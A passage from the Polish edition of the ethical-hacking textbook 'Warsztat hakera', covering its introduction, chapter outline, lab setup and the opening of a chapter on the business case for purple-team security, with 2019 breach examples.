Zamiast 12 modułów kursu mamy tutaj 15 rozdziałów dość dokładnie powielających format spraw-
dzonego kursu i uzupełniających go o dodatkowe treści. Mamy zatem uzupełniający rozdział po-
święcony pisaniu raportu, rozdział dla dyrektorów oraz rozdział omawiający sposoby konfiguro-
wania własnego systemu komputerowego na potrzeby hakowania.
Pojęcia wyjaśniane w tej książce pozwalają poznać nastawienie charakterystyczne dla naszych
przeciwników, używane przez nich narzędzia oraz kroki podejmowane przy próbach przełamania
firmowych zabezpieczeń i kradzieży danych. Taką wiedzę można wykorzystać dwojako: do popra-
wienia umiejętności obrońców, pozwalających im na zatrzymanie atakujących, ale i do poznawania
umiejętności właściwych osobom atakującym nasze systemy. Nie nauczymy Cię unikania odpowie-
dzialności, ale cała książka została przygotowana tak, żeby pokazać, w jaki sposób atakujący analizują
swoje cele i jak uzyskują dostęp do informacji. Wiele z pokazywanych tu ataków bazuje na rzeczy-
wistych systemach, których zabezpieczenia udało się nam przełamać, co pozwala pokazać szerokie
spektrum problemów związanych z bezpieczeństwem informacji.
Mamy nadzieję, że po poznaniu różnych metod podejścia do bezpieczeństwa komputerów bę-
dziesz w stanie rozwijać następną generację rozwiązań z tej dziedziny. Nie chcemy wyłącznie uczyć
Cię na potrzeby przyszłego zatrudnienia, ale też wpoić Ci techniki kształtujące metody używania
narzędzi i exploitów na potrzeby ochrony firmowych sieci.
Bezpieczeństwo informacji to dziedzina o wielu ciekawych i emocjonujących wyzwaniach.
Z tego powodu zachęcamy osoby pragnące spróbować czegoś, co jest tak istotne dla naszego spo-
łeczeństwa, do przeczytania tej książki. Każda praca związana z technologią wymaga dzisiaj umie-
jętności chronienia systemów przed nowymi zagrożeniami cyfrowymi.

3681988c430c7fe1e8567c4e2f281f7b
3
Kto powinien przeczytać tę książkę? 23

Kto powinien przeczytać tę książkę?

Tę książkę kierujemy nie tylko do osób poszukujących możliwości wejścia w świat etycznego ha-
kowania i testów penetracyjnych, ale i do wszystkich administratorów sieci i systemów oraz dyrek-
torów ds. bezpieczeństwa informacji (CISO) chcących poważnie traktować sprawy bezpieczeństwa.
Sądzimy, że chcąc zrozumieć, w jaki sposób firma będzie atakowana, a jej zabezpieczenia prze-
łamywane, trzeba zacząć myśleć jak napastnik. Część osób z pewnością chętnie przeczyta tę książkę,
aby dowiedzieć się, jak działa atakujący. Każdy, kto chciałby dowiedzieć się jeszcze więcej, może
skorzystać z umieszczonych w książce praktycznych ćwiczeń. Osoby, które przyswoją sobie całą
zawartość książki, posiądą umiejętności niezbędne przy wykonywaniu testów penetracyjnych za-
równo we własnej firmie, jak i przy współpracy z zewnętrznymi klientami w celu wyszukiwania
poważnych luk w zabezpieczeniach.
Warsztat hakera to lektura obowiązkowa dla każdego, kto niedawno przyjął na siebie odpowie-
dzialność za bezpieczeństwo danych. Jeżeli ktoś nie zaczął jeszcze kariery w branży IT, to dzięki
książce uzyska choć pobieżny wgląd w problemy trapiące użytkowników komputerów. Chcąc jak
najlepiej wykorzystać treści z tej książki, musisz naprawdę interesować się komputerami, a dodat-
kowo musisz mieć choć minimalne doświadczenie w pracy z nimi. Najpierw przeanalizujemy różne
technologie — protokoły, dzięki którym działa cały internet, sieci WWW oraz wewnętrzne sieci
firmowe, a dopiero potem przystąpimy do ich hakowania.
W tej książce koncentrujemy się na systemie Linux, ale nie przejmuj się, jeżeli nie masz wielu
doświadczeń w pracy z Linuksem. Będziemy Cię prowadzić w kolejnych rozdziałach, dzięki czemu
szybko nabierzesz wprawy w pracy w linuksowym wierszu poleceń. Dowiesz się tutaj również, jak
można zainstalować Linuksa na swoim komputerze bez naruszania istniejącego już na nim systemu
operacyjnego, nieważne, czy jest to Windows, czy też macOS.

Czego się nauczysz?

Dowiesz się tu z punktu widzenia testera penetracyjnego lub etycznego hakera, jak należy podcho-
dzić do analizowanej organizacji przy jednoczesnym wykorzystaniu umiejętności i technik właści-
wych dla złośliwego hakera. Nasze rozważania rozpoczniemy od zbierania informacji z otwartych
źródeł. Później przejdziemy do omawiania zewnętrznej infrastruktury sieciowej stosowanej w wielu
organizacjach. Będziemy się przyglądać różnym słabościom i niedoskonałościom, aby w końcu spró-
bować włamać się do wewnętrznej sieci firmowej poprzez serwer VPN (Virtual Private Network —
wirtualna sieć prywatna). Oczywiście cały czas będziemy wyjaśniać wszystkie wykonywane działa-
nia. Jeżeli nie chcesz samodzielnie przeprowadzać takich ataków, możesz się tu dowiedzieć, jak
gromadzone są informacje na temat Twojej firmy i jak hakerzy poszukują luk w zabezpieczeniach
przed przeprowadzeniem właściwego ataku.
Po uzyskaniu wglądu w wewnętrzną infrastrukturę firmy zobaczymy różne komputery z syste-
mami Linux, UNIX i Windows, a każdy z nich będzie miał swoje niedoskonałości.
Użyjemy zatem wielu różnych narzędzi, aby za ich pomocą wykorzystać istniejące podatności.
Sprawdzimy też, jak działają te narzędzia i jakimi mechanizmami się posługują. W ten sposób Czy-
telnik dowie się też, jak można wykorzystywać wskazane podatności ręcznie, czyli bez posługiwania
się specjalnymi narzędziami.

3681988c430c7fe1e8567c4e2f281f7b
3
24 Wprowadzenie

Uzyskamy dostęp do wielu różnych systemów komputerowych, w których ostatecznie zdobę-

dziemy uprawnienia administratora, co pozwoli nam całkowicie przejąć zaatakowane systemy.
Przy okazji z odwiedzanych kolejno serwerów będziemy zbierać najróżniejsze informacje, takie jak
haszowane hasła, których łamaniem zajmiemy się w ostatnim rozdziale książki!
Na zakończenie pokażemy też, jak należy sformalizować cały omawiany tu proces przez przy-
gotowanie raportu na temat znalezionych podatności, który będzie mógł być wykorzystany przez
dyrektorów firmy, klientów albo po prostu naszych kolegów i to niezależnie od poziomu ich
wiedzy technicznej.
Czytelnicy będą mogli podnosić swoje zdobywane w kolejnych rozdziałach umiejętności, wy-
korzystując do tego laboratoria, czyli specjalne środowiska przygotowane do bezpiecznego i legal-
nego hakowania. Te laboratoria są dostępne bezpłatnie dla wszystkich kupujących tę książkę.
Na potrzeby wszystkich chcących się dowiedzieć, jakie szkody złośliwy haker może wyrządzić danej
firmie, wszystkie exploity opisujemy w taki sposób, żeby unaocznić, jakie zniszczenia może spowo-
dować brak odpowiedniej łatki w systemie.

Organizacja tej książki

Książka zaczyna się od rozdziału omawiającego potrzeby i problemy dyrektorów firmy. Później
przyjrzymy się prawnym i etycznym aspektom hakowania komputerów. W rozdziale 3. „Przygo-
towanie narzędzi do hakowania” zaczniemy pierwsze praktyczne działania. W tym rozdziale poka-
żemy, jak można przygotować sobie komputer umożliwiający wykonywanie działań opisywanych
w dalszej części książki. Rozdział 4. „Zbieranie danych z otwartych źródeł” zostanie poświęcony
procesowi pasywnego zbierania informacji przeprowadzanemu przed rozpoczęciem aktywnego
hakowania sieci wybranej organizacji. W rozdziałach od 5. do 13. zajmiemy się kolejnymi obsza-
rami infrastruktury typowej organizacji i będziemy opisywać kolejne narzędzia i techniki. W roz-
dziale 14. „Hasła” zajmiemy się tematem przechowywania i uzyskiwania haseł. Z kolei w (ostatnim)
rozdziale 15. „Pisanie raportów” omówimy temat przygotowywania raportów z wynikami naszego
hakowania, które mają pomóc w eliminowaniu wykrytych problemów.
Rozdział 1. „Hakowanie jako przypadek biznesowy”. Do skutecznego hakowania niezbędna
jest umiejętność prezentowania samym firmom ich problemów bezpieczeństwa komputerowego
przy jednoczesnym rozumieniu celów tych firm. Ten rozdział zostanie poświęcony zebraniom
dyrektorów, tematyce ryzyka i poznawaniu metod przekazywania informacji z okopów
sieci komputerowych prosto na biurka osób podejmujących decyzje biznesowe.
Rozdział 2. „Etyczne i legalne hakowanie”. W tym rozdziale zaprezentujemy krótkie
wprowadzenie do prawnych i etycznych aspektów hakowania. Nie każdy haker jest
przestępcą. Wręcz przeciwnie! Podamy tu kilka wskazówek, jak pozostać po jasnej
stronie prawa i jak profesjonalnie prowadzić działania związane z hakowaniem.
Rozdział 3. „Przygotowanie narzędzi do hakowania”. Tutaj przejdziemy do działań
praktycznych. W tym rozdziale nauczysz się tak przygotowywać swój komputer do
działań związanych z hakowaniem, żeby nie blokować sobie możliwości używania go
do codziennej pracy lub rozrywki. Pokażemy, jak możesz przygotować swoje pierwsze
laboratorium w maszynie wirtualnej, które stanie się Twoim celem badawczym.

3681988c430c7fe1e8567c4e2f281f7b
3
Organizacja tej książki 25

Rozdział 4. „Zbieranie danych z otwartych źródeł”. Zanim zaczniesz hakować systemy

komputerowe, musisz nauczyć się pasywnego zbierania informacji o swoim celu. W tym
rozdziale wykorzystamy przykłady z rzeczywistego świata i poszukamy różnych publicznie
dostępnych informacji, choć zrobimy to trochę inaczej, niż większość ludzi robi na co dzień.
Rozdział 5. „System DNS”. System DNS (Domain Name System) jest czymś, z czego
korzystamy powszechnie i często. Mimo to wielu z nas nie ma pojęcia o istnieniu
i zasadach działania tego systemu. W tym rozdziale poznasz kilka praktycznych technik
zbierania informacji i poszukiwania podatności, które można później wykorzystać.
Zaprezentujemy tutaj kilka ważnych narzędzi, takich jak Nmap lub Metasploit, które
będą niezbędne w kolejnych rozdziałach tej książki.
Rozdział 6. „Poczta elektroniczna”. W tym rozdziale dowiesz się, jak działają serwery
pocztowe i jak można je hakować. Opiszemy tutaj podstawy działania protokołów
pocztowych, przekazywania wiadomości, skrzynek pocztowych oraz wiele sztuczek,
które można wykorzystać do hakowania systemów poczty elektronicznej.
Zaprezentujemy też pełny proces włamywania się do serwerów pocztowych.
Rozdział 7. „Sieć WWW pełna podatności”. Niektórzy twierdzą, że sieć WWW
wymyślona w 1990 roku przez Tima Bernersa Lee jest dzisiaj niezbędna do życia.
Dowiesz się, że cała ta sieć bazuje na przestarzałych protokołach. Poznasz sposoby
hakowania całej infrastruktury pozwalającej funkcjonować Twoim ulubionym stronom
WWW i aplikacjom sieciowym.
Rozdział 8. „Wirtualne sieci prywatne”. Sieci VPN stają się coraz popularniejszym
rozwiązaniem stosowanym zarówno przez prywatne osoby, jak i wielkie firmy
zatrudniające rzesze pracowników. Ta technologia pozwala na zdalne logowanie się
do firmowej sieci. Przyjrzymy się mechanizmom stosowanym w typowych sieciach VPN
i oczywiście przyjrzymy się im z punktu widzenia hakera.
Rozdział 9. „Pliki i współdzielenie plików”. Do tej pory przyglądaliśmy się różnym
organizacjom wyłącznie z zewnątrz. Nadszedł czas, żeby przekroczyć ich granice
i sprawdzić, co ukrywa się w wewnętrznych sieciach tych organizacji. Na początek
zajmiemy się serwerami plików. W tym rozdziale przedstawimy teorię niezbędną
do zrozumienia zasad rządzących systemami plików w Linuksie. Dowiesz się tu,
jak skorzystać z plików oraz z technologii współdzielenia plików, aby uzyskać dostęp
do tych systemów.
Rozdział 10. „UNIX”. W tym rozdziale odejdziemy od Linuksa, który do tej pory był
naszym głównym systemem, i przyjrzymy się systemowi operacyjnemu UNIX. Poznamy
tu różne dziwne zachowania tej rodziny systemów operacyjnych oraz różne podatności,
które będziemy badać i wykorzystywać.
Rozdział 11. „Bazy danych”. Na początku tego rozdziału zaprezentujemy sposoby
wykonywania prostych zadań administracyjnych w bazach danych i wykorzystamy do
tego język SQL. Następnie zaprezentujemy też ataki wykorzystujące różne cechy baz
danych. W tym rozdziale pokażemy też, jak realizowane są masowe wycieki danych.
Tymi tematami będziemy się też zajmować w kolejnych rozdziałach.

3681988c430c7fe1e8567c4e2f281f7b
3
26 Wprowadzenie

Rozdział 12. „Aplikacje sieciowe”. Aplikacje sieciowe są częścią codziennych prac w niemal
każdej organizacji. Jednocześnie stanowią one często wybierany cel ataków. W tym
rozdziale zajmiemy się zatem podstawami działania aplikacji sieciowych. Skupimy się
na najgroźniejszych rodzajach ataków, z którymi nieustannie zmagają się małe i średnie
firmy na całym świecie. Zauważysz tutaj, że wszystkie informacje, jakie zaprezentowaliśmy
wcześniej, można wykorzystać w tym miejscu do hakowania aplikacji sieciowych.
Rozdział 13. „Microsoft Windows”. Jak dotąd przeglądaliśmy najróżniejsze podatności
w systemach operacyjnych Linux i UNIX. Nadszedł czas, żeby skierować reflektory na
system Microsoft Windows. Skupimy się tu na systemach Windows Server, ponieważ
jest to technologia wykorzystywana w infrastrukturze niezliczonych organizacji.
Windows, podobnie jak Linux, może hostować różne serwisy, takie jak DNS, poczta
elektroniczna, serwery WWW albo serwery do współdzielenia plików. W tym rozdziale
pokażemy Ci, jak można wykorzystać umiejętności hakowania systemów Linux i UNIX
do pracy nad systemami Windows.
Rozdział 14. „Hasła”. W całej książce wspominaliśmy o hasłach i ich skrótach. W tym rozdziale
dowiemy się w końcu, w jaki sposób tworzone są skróty haseł (ang. hash) i poznamy
problemy związane z różnymi algorytmami wykorzystywanymi powszechnie do zabezpieczania
danych. Zaprezentujemy tu wskazówki dotyczące łamania haseł, czyli odzyskiwania
wartości haseł z danych uzyskanych ze zhakowanych wcześniej laboratoriów.
Rozdział 15. „Pisanie raportów”. Jeżeli etyczny haker lub tester penetracyjny nie będzie
w stanie odpowiednio zaprezentować klientom, kolegom lub przełożonym wyników
swoich prac, to wykonana praca nie będzie wiele warta. Przygotowywanie raportu
z testów penetracyjnych to całkowicie nowa umiejętność. W tym rozdziale pokażemy,
jak skutecznie prezentować te informacje, i napiszemy przykładowy raport z naszych prac.

Wymagania sprzętowe i programowe

Aby wykonywać ćwiczenia prezentowane w tej książce, będziesz potrzebować laptopa lub kompu-
tera stacjonarnego działającego pod kontrolą systemu Windows, macOS albo jednej z popularnych
dystrybucji Linuksa. Komputer musi być wyposażony w odpowiednio duży dysk twardy lub dysk
SSD, aby pomieścić oprogramowanie i narzędzia prezentowane w kolejnych rozdziałach. Oprócz
tego niezbędna będzie odpowiednio pojemna pamięć RAM, aby swobodnie uruchamiać maszyny
wirtualne. Oczywiście konieczne jest też połączenie internetowe, aby pobierać wszystkie potrzebne
pakiety. Wymagania sprzętowe i programowe omawiamy dokładniej w rozdziale 3. „Przygotowanie
narzędzi do hakowania”, w którym podawane są kolejne kroki w procesie przygotowania do hako-
wania. Poniżej podajemy jednak minimalne wymagania:
 Nowoczesny procesor firmy Intel lub AMD (obsługujący zestaw instrukcji SSE2
— Streaming SIMD Extensions 2, czyli praktycznie każdy aktualny procesor).
 4 GB pamięci RAM.
 50 – 100 GB miejsca na dysku twardym lub na dysku SSD.
 Dostęp do internetu pozwalający na pobieranie oprogramowania i przeprowadzanie
działań demonstracyjnych.

3681988c430c7fe1e8567c4e2f281f7b
3
Jak używać tej książki? 27

Jak używać tej książki?

Ta książka została przygotowana tak, żeby czytać ją od początku do końca. W niemal każdym roz-
dziale znajdują się praktyczne działania, które możesz wykonywać w trakcie czytania. Oczywiście
książkę można czytać bez wykonywania tych działań i wynieść z niej wiele cennych informacji.
Nadaje się ona też dla tych osób, które wolą najpierw przeczytać całą treść od początku do końca,
a dopiero potem zająć się elementami praktycznymi. W każdym wypadku najwięcej korzyści
z książki Warsztat hakera uzyskasz wtedy, gdy rzeczywiście wykonasz prezentowane tutaj prak-
tyczne ćwiczenia, które będziemy dokładnie opisywać.
Mimo że większość rozdziałów poświęcona jest konkretnym obszarom infrastruktury siecio-
wej, to jednak przejście od razu do rozdziału omawiającego interesujący Cię temat może spowodo-
wać zamieszanie. Wynika to z faktu, że od samego początku tej książki omawiamy kolejne ważne
koncepcje, z których następnie korzystamy podczas hakowania różnych obszarów infrastruktury
sieciowej. W późniejszych rozdziałach pojawiają się już tylko niewielkie wyjaśnienia dotyczące
omawianych wcześniej narzędzi i technik, na przykład dotyczące wprowadzenia do nich wymaga-
nych zmian w ustawieniach.
Aby zacząć wykonywać opisywane tu praktyczne zadania, zacznij od rozdziału 3. „Przygo-
towanie narzędzi do hakowania” i upewnij się, że masz możliwość pobierania treści ze strony
www.hackerhousebook.com. Aby uzyskać dostęp do plików z katalogu /files, musisz użyć nazwy
użytkownika „student” oraz hasła „student”. (Jedynym powodem stosowania uwierzytelniania
w tym miejscu jest uniemożliwienie wyszukiwarkom automatycznego oznaczenia naszej strony
jako złośliwej. W prezentowanych tu plikach znajduje się wiele kodu o złośliwym działaniu, dlatego
musisz nauczyć się używać go w sposób odpowiedzialny). Ten adres umożliwia pobranie jednego
tylko skompresowanego pliku o nazwie files.tgz, w którym znajduje się wiele różnych narzędzi.
Na stronie dostępne są również trzy laboratoria: serwer pocztowy, uniksowe laboratorium przygo-
towane przez firmę Hacker House oraz laboratorium spreparowane specjalnie na potrzeby tej książki,
w którym umieściliśmy zawartość wielu innych laboratoriów. Kopia zawartości tej strony dostępna
jest też na stronach wydawnictwa Helion, pod adresem https://ftp.helion.pl/przyklady/warhak.zip.
Szczegóły dotyczące konfigurowania własnego komputera na potrzeby wykonywania działań prak-
tycznych z tej książki zostały opisane w rozdziale 3. „Przygotowanie narzędzi do hakowania”.
Zalecamy jednak, żeby najpierw przeczytać rozdziały 1. i 2.
Pozostałe programy i narzędzia, o których mówimy w tej książce, są najczęściej dostępne na
zasadach otwartych źródeł, a wszystkie można swobodnie pobrać z internetu, ze stron prowadzo-
nych przez ich twórców.

3681988c430c7fe1e8567c4e2f281f7b
3
28 Wprowadzenie

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

1
Hakowanie jako
przypadek biznesowy

Koniecznie musisz przeczytać ten rozdział, jeżeli komunikujesz się z właścicielem firmy, jej preze-
sem (ang. CEO — chief executive officer), dyrektorem ds. bezpieczeństwa informacji (ang. CISO —
chief information security oficer) albo po prostu z kimś, kto ma za zadanie poinformować zarząd
firmy, dlaczego haking jest dla firm korzystnym zjawiskiem. W tym rozdziale nie znajdziesz prak-
tycznych ćwiczeń związanych z hakowaniem, jakie umieściliśmy w pozostałych rozdziałach. Tutaj
skupiamy się na rozważaniu, dlaczego firmy potrzebują hakerów. Wyjaśniamy nasze przekonanie,
że najlepszą metodą poprawiania poziomu cyberbezpieczeństwa w organizacji jest przyjęcie przez
poszczególne osoby, całe zespoły i ogólnie przez pracodawcę mentalności purpurowego zespołu
i sposobu myślenia charakteryzującego złośliwych hakerów. Purpurowy sposób myślenia jest
czymś pośrednim między tradycyjnym wyobrażeniem zespołów: niebieskiego i czerwonego, czyli
obrońców i atakujących.

Jeżeli znasz swojego wroga i znasz siebie, to nie musisz się obawiać o wyniki stu
bitew. Jeżeli znasz siebie, ale nie znasz swojego wroga, to każde zwycięstwo bę-
dzie okupione porażką. Jeżeli jednak znasz swojego wroga, ale nie znasz siebie, to
w każdej walce poniesiesz porażkę.
Sun Tzu, Sztauka wojny

29

3681988c430c7fe1e8567c4e2f281f7b
3
30 Rozdział 1  Hakowanie jako przypadek biznesowy

Zajmowanie stanowiska dyrektora ds. bezpieczeństwa informacji jest podobne do prowadzenia

armii. Aby działać efektywnie, armia musi znać siebie i znać swojego wroga. Innymi słowy, po-
trzebny jest nam zespół, który umie myśleć tak jak hakerzy. Potrzebny jest zespół aktywnie stara-
jący się wyszukiwać sposoby, którymi wróg mógłby przypuścić atak, a następnie budujący jesz-
cze silniejszą infrastrukturę przez łatanie podatności w oprogramowaniu albo tworzenie zasad
i mechanizmów bezpieczeństwa. Firmy potrzebują hakerów. I właśnie tym zajmiemy się w niniej-
szym rozdziale.

Wszystkie komputery są zepsute

W firmie Hacker House mówimy, że „wszystkie komputery są zepsute”. Haker nie musi „psuć”
komputera, sieci albo oprogramowania, ponieważ każdy komputer od samego początku jest już
zepsuty. Haker pokazuje nam jedynie, na czym polega to uszkodzenie. Nowoczesne systemy kom-
puterowe zbudowane zostały na bazie zaufania i naiwności, która jest znacznie starsza od dzisiej-
szych firm. Po prostu na początku projektowania systemów nie zakładano potrzeby tworzenia za-
bezpieczeń, dlatego wszystko, co powstało później, stoi na dość chwiejnych fundamentach.
Przyjęcie odpowiedzialności za bezpieczeństwo informacji w dzisiejszych organizacjach to oznaka
wielkiej odwagi. Taka odpowiedzialność zazwyczaj spada na barki dyrektora ds. bezpieczeństwa
informacji (CISO). Osoba piastująca to stanowisko musi zapewnić odpowiedni poziom ochrony
przed katastrofami (awariami systemu, siłami natury albo złośliwymi atakami) całej firmowej in-
frastrukturze oraz wszystkim danym. W mniejszych organizacjach może nie istnieć stanowisko
CISO, a wtedy tę rolę pełni właściciel firmy albo jej prezes. Konieczność chronienia aktywów firmy
przed niestrudzonymi, niewidzialnymi i częstymi atakami, które ogólnie nazywane są cyberprze-
stępczością, to wielka odpowiedzialność. Jeżeli coś pójdzie niezgodnie z planem (a to zdarza się
bardzo często), to zwykle ma to fatalne skutki. Ujawnienie danych może pociągać za sobą ogromne
straty finansowe, utratę reputacji firmy, a dla osoby piastującej stanowisko CISO może to oznaczać
załamanie kariery albo utratę firmy. A to wszystko w wyniku kliknięcia myszą i naciśnięcia kilku
klawiszy przez rozgarniętego włamywacza.
Osoby na stanowisku CISO muszą stosować się do reguł bezpieczeństwa informacji (ang. infor-
mation security), które znane są też pod nazwą infosec. Jest to pojęcie używane jako opis całego
sektora naszego przemysłu. Infosec oznacza ochronę danych i uniemożliwianie dostępu do syste-
mów komputerowych osobom do tego niepowołanym. Infosec wymaga uzyskania równowagi między
użytecznością systemów komputerowych i działającego w nich oprogramowania a bezpieczeństwem
tych systemów. Gdyby mógł istnieć całkowicie bezpieczny system, to byłby on zapewne całkowicie
nieużywalny z punktu widzenia użytkowników i firm. Na przykład można tu sobie wyobrazić kom-
puter niepodłączony do internetu, zamknięty w bunkrze zakopanym głęboko pod ziemią i otoczony
klatką Faradaya, tak aby uniemożliwić jakąkolwiek interakcję ze światem zewnętrznym.
Organizacje muszą jednak otwierać się na świat, aby umożliwić swoim klientom (i pracowni-
kom) dostęp do swoich usług, dlatego całkowicie bezpieczny system nie jest dla nich praktycznym
rozwiązaniem, z wyjątkiem ekstremalnych przypadków brzegowych. Przyjrzyjmy się zatem wy-
zwaniom, którym musi stawić czoła CISO.

3681988c430c7fe1e8567c4e2f281f7b
3
Wszystkie komputery są zepsute 31

W 2019 roku słyszeliśmy o wielu głośnych przypadkach, gdy zhakowane zostały naprawdę wiel-
kie organizacje.
 WhatsApp, bardzo popularny komunikator, okazał się podatny na ataki, które pozwalały
atakującemu na przejęcie kontroli nad smartfonem ofiary, co anulowało ochronę, jaką daje
stosowane w tym komunikatorze szyfrowanie.
 Pracownik zajmującej się bezpieczeństwem firmy Trend Micro ukradł bazę danych
klientów. Te informacje zostały wykorzystane do prób oszukiwania klientów przez
kontakty telefoniczne. Ten przypadek pokazuje, jak ważne są wewnętrzne zasady
bezpieczeństwa, uzupełniające ochronę usług skierowanych do klientów.
 Firmie Capital One, zajmującej się obsługą kart kredytowych, ukradziono dane ponad
100 milionów klientów. Dokonał tego haker, który podobno wykorzystał niepoprawnie
skonfigurowaną zaporę sieciową aplikacji, czyli błąd w technologii, której zadaniem jest
ochrona witryn WWW przed atakami! W ukradzionych danych znalazły się nazwiska,
adresy, numery ubezpieczeń społecznych oraz dane kont bankowych. Gdy atak został
ujawniony w czerwcu 2019 roku, firma Capital One oszacowała koszty związane z tym
atakiem na 150 milionów dolarów.
 W grudniu 2019 roku brytyjska firma Travelex znalazła się w centrum zainteresowania,
gdy okazało się, że stała się celem ataku typu ransomware. W atakach tego rodzaju atakujący
kradną firmowe dane, a następnie żądają okupu w zamian za ich zwrot. W tym przypadku
zażądano okupu w wysokości 6 milionów dolarów, choć firma Travelex podobno była
w stanie odtworzyć swoje dane bez konieczności płacenia przestępcom. Nie można tego
powiedzieć o wielu innych organizacjach i osobach prywatnych, które również stały się
celem ataków ransomware.
To tylko niewielki wycinek listy wszystkich włamań, jakie nieustannie się pojawiają. Jeżeli są-
dzisz, że częstość i wielkość tych zdarzeń jest przerażająca, to przyjmij do wiadomości, że według
prognoz w przyszłości będzie tylko gorzej. Cały czas wykładniczo rośnie liczba potencjalnych po-
datności w firmach oraz ilość gromadzonych danych, ale rośnie też nasza prawna i moralna odpo-
wiedzialność za te dane.
Co więcej, te zagrożenia rosną znacznie szybciej niż tradycyjne możliwości reagowania na nie.
Aktualnie polega się głównie na drogich, zewnętrznych usługach testów penetracyjnych, czyli ta-
kich, w których używane są szczególne umiejętności w celu wyszukania i zgłoszenia organizacji
wszystkich wykrytych podatności w systemach komputerowych. W efekcie CISO znajduje się
w sytuacji bez wyjścia. Musi próbować lepiej chronić te systemy, mając do dyspozycji zmniejszające
się środki. Bez wątpienia coś musi się zmienić.
Na szczęście już teraz coś się zmienia. Dowiesz się tutaj, w jaki sposób można praktycznie, pro-
sto i niedrogo wprowadzić ideę purpurowych zespołów, czyli specjalnie szkolonych zespołów bez-
pieczeństwa wewnętrznego połączonych z silną kulturą bezpieczeństwa panującą w firmie.
Purpurowe zespoły są nowoczesną i skuteczną metodą uzyskania cyberbezpieczeństwa w firmie.
Jest to metoda bardzo potrzebna w wielu firmach, zarówno w małych korporacjach, jak i w wiel-
kich, międzynarodowych konglomeratach. Innymi słowy, purpurowe zespoły są niezbędnym ele-
mentem w każdej firmie, ponieważ pozwalają uzyskać informacje o sposobach działania atakują-
cych i zdefiniować wskazówki umożliwiające zapobieganie takim atakom.

3681988c430c7fe1e8567c4e2f281f7b
3
32 Rozdział 1  Hakowanie jako przypadek biznesowy

Stawka
Zanim przejdziemy do opisu purpurowych zespołów i sposobów ich działania, musimy przyjrzeć
się dokładniej kontekstowi, w którym musi działać CISO i niemal wszystkie dzisiejsze firmy.

Co jest kradzione i dlaczego jest to wartościowe?

Dane są wartościowe. Danych można użyć do manipulowania poglądami, przelewania gigantycz-
nych ilości pieniędzy, wygrywania wyborów, eliminowania konkurencji, zatrudniania lub zwalnia-
nia kadry zarządzającej, szantażowania osób lub firm, a może nawet do wywoływania wojen. Ta lista
ciągnie się w nieskończoność. W skrócie: dane są nowym rodzajem bogactwa gromadzonego przez
firmy. Są naprawdę niezwykle wartościowe.
Niestety w wielu firmach mało kto (z wyłączeniem prezesów i dyrektorów ds. bezpieczeństwa)
zdaje sobie sprawę z wartości tych danych. „Po co ktokolwiek miałby chcieć ukraść nasze zdjęcia
albo dane logowania używane przez recepcjonistów?” Brzmi znajomo? Lepiej jest tutaj zadać sobie
pytanie: „Dlaczego ktoś miałby nie chcieć ukraść tych informacji?”. Dobrze jest nie robić rozgrani-
czeń, które dane są wartościowe, a które nie są. Dla atakującego wartość mają wszystkie dane. Dla
złośliwych hakerów dane mają wartość, ponieważ można je sprzedać na czarnym rynku za kon-
kretne pieniądze. Często jest to jedyna motywacja dla osób lub grup starających się ukraść dane.
Dane definiujemy jako informacje w surowej postaci, które można przekształcić w formę uży-
tecznych informacji. Dane są wszędzie: lista płac, dane sprzedaży, szczegóły kont bankowych albo
kart kredytowych, osobiste dane identyfikacyjne, e-maile, analizy, hasła, monitoring, statystyki, pliki
rządowe, informacje medyczne, raporty naukowe, dokumenty prawne, informacje o subskrypcjach,
witryny konkurencji, zapisy finansowe… można tak wymieniać jeszcze długo. Oczywiście im bar-
dziej nasz świat staje się „smart” (używamy smartfonów, smartwatchy, wirtualnych asystentów,
smart-wtyczek, smart-termostatów, smart-lodówek, dzwonków do drzwi z kamerą, elektrycznych
samochodów, smart-zamków do drzwi… ta lista też nie ma końca), tym więcej generujemy danych,
które jednocześnie są coraz słabiej zabezpieczone.

Internet rzeczy podatnych na ataki

Niestety, mimo że wiele domowych urządzeń stało się inteligentnych, to jednak w zakresie ich bez-
pieczeństwa ta inteligencja pozostawia wiele do życzenia. Powodem może być to, że producenci nie
zdają sobie sprawy z istniejących zagrożeń albo te zagrożenia przerastają ich możliwości. Istnieje
też możliwość, że producenci świadomie starają się ignorować te zagrożenia (w końcu prace nad
zabezpieczeniami zmniejszają uzyskaną marżę), przez co miliony wytwarzanych codziennie inteli-
gentnych produktów nie ma praktycznie żadnych funkcji zabezpieczających. Takie urządzenia
(a są ich już miliardy) są używane powszechnie w firmach i prywatnych domach, a większość z nich
stanowi poważne zagrożenie dla naszych cennych danych.
Każdy CISO musi zdawać sobie sprawę z faktu, że na świecie nie ma internetu rzeczy (IoT —
Internet of Things), ale z całą pewnością istnieje „internet rzeczy podatnych na ataki” (ang. Internet
of Vulnerable Things). Dyrektorzy ds. bezpieczeństwa danych muszą się poważnie zastanowić, czy
mają zezwolić na zainstalowanie w firmowych budynkach inteligentnych termostatów albo czy

3681988c430c7fe1e8567c4e2f281f7b
3
Niebieskie, czerwone i purpurowe zespoły 33

pozwolić członkom zarządu na korzystanie ze smartwatchy (oczywiście pod warunkiem, że kto-

kolwiek zdecyduje się w ogóle o to zapytać).
Na domiar złego firmy coraz częściej są pociągane do odpowiedzialności prawnej z powodu
przechowywanych i przetwarzanych danych. Na przykład wprowadzona w Unii Europejskiej re-
gulacja o nazwie General Data Protection Regulation (GDPR), która w Polsce znana jest jako RODO
(rozporządzenie o ochronie danych osobowych), oznacza, że firmy muszą chronić takie dane jak
adresy IP albo informacje z plików cookie, stosując te same zasady, jakie obowiązują w przypadku
nazwisk i adresów. Wśród najważniejszych wymagań wynikających z zapisów RODO można wy-
mienić konieczność uzyskania zgody użytkownika na przetwarzanie danych, stosowanie anonimi-
zacji danych w celu ochrony prywatności, podawanie informacji o zauważonych włamaniach, bez-
pieczną obsługę i transfer danych ponad granicami krajów albo wymuszanie na wybranych firmach
zatrudnienia dyrektora ds. ochrony danych, który będzie doglądał zgodności działań firmy z RODO.

Niebieskie, czerwone i purpurowe zespoły

Tradycyjne techniki bezpieczeństwa informacji zakładają istnienie niebieskiego zespołu i czer-
wonego zespołu (choć nie wszystkie firmy takie mają lub może nie potrzebują tworzyć tych ze-
społów w ich ścisłej formie). Spróbujmy tu w skrócie opowiedzieć, na czym polega rola każdego
z tych zespołów.

Niebieskie zespoły
Niebieskie zespoły skupiają obrońców w „białych kapeluszach” — ludzi skoncentrowanych na swo-
ich systemach, przeprowadzających analizy istniejących systemów w celu zapewnienia ich bezpie-
czeństwa. Poszukują oni różnych błędów w systemach bezpieczeństwa, kontrolują skuteczność
